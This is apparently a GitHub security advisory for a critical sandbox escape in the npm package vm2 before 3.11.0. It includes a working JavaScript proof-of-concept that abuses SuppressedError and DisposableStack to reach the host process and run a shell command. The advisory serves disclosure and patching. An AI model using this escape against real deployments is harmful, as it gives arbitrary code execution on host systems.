GitHub Advisoryadvisory · npm

GHSA-55hx-c926-fr95 VM2 Has a Sandbox Escape Issue via SuppressedError

CRITICAL Published 2026-05-05 Modified 2026-05-05 Official page ↗
Aliases
CVE-2026-26332
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-693, CWE-94
Reviewed
2026-05-05

Affected packages

• npm vm2: < 3.11.0 → fixed in 3.11.0

Description

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

Related

Alias · CVE (1)

  • CVE-2026-26332 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (2)

  • CWE-693 Protection Mechanism Failure weakness
  • CWE-94 Improper Control of Generation of Code weakness

References